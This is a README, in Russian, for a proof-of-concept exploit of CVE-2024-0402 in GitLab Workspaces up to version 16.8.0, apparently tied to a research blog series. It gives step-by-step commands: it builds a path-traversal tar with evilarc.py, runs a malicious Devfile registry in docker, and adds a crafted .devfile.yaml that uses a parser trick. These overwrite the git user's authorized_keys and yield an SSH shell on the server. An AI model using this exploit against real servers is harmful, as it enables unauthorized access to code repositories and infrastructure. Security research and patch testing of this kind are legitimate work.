
CVE-2024-0402 эксплойт для GitLab Workspaces, использующий вредоносный Devfile Registry с архивом path-traversal для перезаписи authorized_keys и получения SSH-доступа.
Проект содержит вредоносный реестр Devfile, который можно использовать для эксплуатации CVE-2024-0402 в Gitlab.
Стек nodejs:2.2.1 индексируется для предоставления файла archive.tar, эксплуатирующего проблему обхода пути (path traversal) в библиотеке registry-support до версии v1.1.0.
Расположение tar: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar
Он был создан с помощью evilarc.py для перезаписи /var/opt/gitlab/.ssh/authorized_keys на целевом сервере Gitlab ключами SSH из папки ssh-keys/ в этом репозитории.
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix
После запуска вредоносный .tar будет добавлен в доступные для загрузки стеки реестра.
См. index.json, где он указан среди ресурсов стека:
...
"links": {
"self": "devfile-catalog/nodejs:2.2.1"
},
...
"resources": [
"devfile.yaml",
"archive.tar"
],
...
Настройте экземпляр Gitlab EE версии <=16.8.0. Включите на нём Workspaces, следуя документации и дополнительным примечаниям в нашем отдельном посте блога из серии !exploitable.
Когда будете готовы, выполните следующие шаги:
Выполните docker build -t devfile-index . в корне этого репозитория, чтобы собрать образ контейнера реестра
Выполните docker run -d -p 5000:5000 --name local-registrypoc registry:2, чтобы запустить локальный контейнерный реестр, который будет использоваться реестром Devfile для хранения стека. Примечание: вам следует изменить команду, чтобы открыть доступ к нему по своему усмотрению. В нашем случае всё происходило в локальном окружении
Выполните docker run --network host devfile-index, чтобы запустить вредоносный реестр Devfile, собранный на первом шаге. Примечание: как и раньше, измените команду запуска по своему желанию, чтобы сделать его доступным для экземпляра Gitlab
Авторизуйтесь на целевом сервере Gitlab как разработчик, затем отредактируйте .devfile.yaml репозитория, которым вы управляете. YAML должен использовать различие в работе парсеров, чтобы разрешить загрузку из вредоносного реестра
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
Чтобы вызвать запись файла в интерфейсе Gitlab, просто запустите новое Workspace в отредактированном репозитории.
Через несколько секунд должна произойти произвольная запись файла, и ssh-keys/pockey.pub будет добавлен в authorized_keys пользователя git
Вы сможете получить неограниченную оболочку от имени git с помощью
ssh -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>